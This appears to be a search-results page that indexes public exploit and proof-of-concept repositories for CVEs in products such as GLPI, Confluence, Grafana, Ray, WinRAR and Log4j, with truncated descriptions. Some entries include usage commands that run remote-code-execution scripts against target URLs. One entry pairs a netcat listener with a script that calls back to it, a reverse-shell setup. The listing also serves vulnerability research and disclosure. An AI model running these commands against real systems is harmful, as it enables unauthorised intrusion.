1326038 matches found
CVE-2022-35914
Script in Ruby for the CVE-2022-35914 - RCE in GLPI CVE-2022-35914 Just add the Target to the Script. Usage: ruby.exe exploit.rb = whoami You can close with: = exit...
POC-CVE-2025-1094
POC CVE-2025-1094: PostgreSQL psql SQL Injection Proof of Concept for critical SQL Injection vulnerability in PostgreSQL client libpq and psql tool π Table of Contents 1. Vulnerability Overview 2. Project Directory Structure 3. Attack Payload Analysis 4. Usage Guide 5. Mitigation & Prevention 1...
Exihibitor-RCE
Exhibitor-RCE Exhibitor Web Ui 1.7.1 RCE, CVE-2019-5029 Step 1: $ git clone https://github.com/thehunt1s0n/Exihibitor-RCE/ Step 2: $ cd Exihibitor-RCE/ Step 3 optional: You might need to edit json data payload in the script. To do that simply capture the request using burpsuite when comiting the...
CVE-2019-3396_EXP
CVE-2019-3396EXP CVE-2019-3396 confluence SSTI RCE 1γput the cmd.vm on your website must use ftp or https ,http doesn't work 2γmodify RCEexp.py οΌchange the filename = 'ftp://1.1.1.1/cmd.vm' οΌpython -m pyftpdlib -p 21οΌ 3γpython RECexp.py http://test.wikitest.cc:8080 "whoami" $ python RECexp.py...
CVE-2026-109220
The PDF Invoice for WooCommerce + Drag and Drop Template Builder plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 7.1.1 via the 'customernote' parameter parameter. This is due to insufficient sanitization of the customernote checkout field, which is...
rusty_joomla_rce
Rusty Joomla RCE Details You can find technical details here: https://1day.dev/notes/Rusty-Joomla-Remote-Code-Execution...
CVE-2026-48778-PoC
CVE-2026-48778 β Notepad++ Arbitrary Code Execution PoC Severity: High CVSS 7.8 | Affected: Notepad++ β€ 8.9.6 | Patched: v8.9.6.1 A PoC script for CVE-2026-48778, an arbitrary code execution vulnerability in Notepad++ β€ 8.9.6. For full technical details, see the official security advisory. Usage...
CVE-2025-29306_poc
Description Published: 2025-03-27 Updated: 2025-03-27 An issue in FoxCMS v.1.2.5 allows a remote attacker to execute arbitrary code via the case display page in the index.html component. Usage: python testpoc.py -u http://192.168.0.1/images/index.html "id" python testpoc.py -f url.txt "id"...
CVE-2021-42694
CVE-2021-42694 Generate malicious files using recently published homoglyph-attack vulnerability, which was discovered at least in C, C++, C, Go, Python, Rust, JS, ... Cite from cve.mitre.org An issue was discovered in the character definitions of the Unicode Specification through 14.0. The...
CVE-2018-6961
CVE-2018-6961 Exploit in Python3 VMware NSX SD-WAN Edge by VeloCloud prior to version 3.1.0 contains a command injection vulnerability in the local web UI component. This component is disabled by default and should not be enabled on untrusted networks. VeloCloud by VMware will be removing this...
Log4Shell-Payloads
π¨ Log4Shell Payloads Collection A curated list of Log4Shell / Log4J exploitation payloads targeting: CVE-2021-45046 CVE-2022-42889 π By @nav1n0x π₯ One-Liner Payloads β Oneliner 1 cat vulnerable-hosts.txt | sed 's/https?:////' | xargs -I echo...
CVE-2026-22785
CVE-2026-22785 Reproduction Tutorial Vulnerability Overview CVE : CVE-2026-22785 Impact : orval = 7.18.0 CVSS : 9.3 CRITICAL Type : Code Injection Vulnerability Principle orval Example python cvetool.py shell whoami python cvetool.py shell "node --version" python cvetool.py shell dir Scan files...
imbyter-WinRAR_CVE-2023-38831
π₯ WinRAR Vulnerability Description CVE-2023-38831 A spoofable file extension vulnerability exists in WinRAR versions prior to 6.23. Attackers can exploit this vulnerability by crafting specially packaged files that appear harmless, such as JPG .jpg image files, text files .txt, or PDF documents...
ExploitDotNetDCOM
ExploitDotNetDCOM c James Forshaw 2014 A tool to exploit .NET DCOM for EoP and RCE. Is fixed in latest versions of the .NET. For information purposes only. All code is licensed under GPLv3...
ropfuscator
Disclaimer ROPfuscator is a research proof of concept and is not intended for production use. The authors do not take any responsibility or liability for the use of the software. Please exercise caution and use at your own risk. ROPfuscator ROPfuscator is a fine-grained code obfuscation framework...
CVE-2024-9264-RCE-Exploit
CVE-2024-9264-RCE-Exploit in Grafana via SQL Expressions Description Proof Of Concept for Remote Code Execution in Grafana CVE-2024-9264 This repository contains a Python script that exploits a Remote Code Execution RCE vulnerability in Grafana's SQL Expressions feature. By leveraging insufficien...
CVE-2023-6019
Ray OS Command Injection RCEUnauthorized Usage: 1. nc -lvnp 4444 2. python3 cve-2023-6019.py -t 192.168.1.13 -p 80 -L 192.168.1.14 -P 80...
CVE-2023-32031
CVE-2023-32031 CVE-2023-32031 MS Exchange PowerShell backend RCE Reference https://littlepwner.github.io/posts/cve-2023-32031-ms-exchange-powershell-backend-rce/...
rschunter
RSC Hunter A powerful, multi-threaded scanner and exploit tool for React Server Component RSC vulnerabilities. This tool is designed to identify and exploit RCE vulnerabilities in RSC implementations, supporting various bypass techniques and strategies. Note : Due to the enormous complexity of...
CVE-2024-20338
CVE-2024-20338 advisory This repository contains demo files for my talk at Behind The Code conference in Limassol. Disclaimer All these materials are provided as is and are intended only for educational purporses. Author have no responsibility for any malicious actions made by someone else. Autho...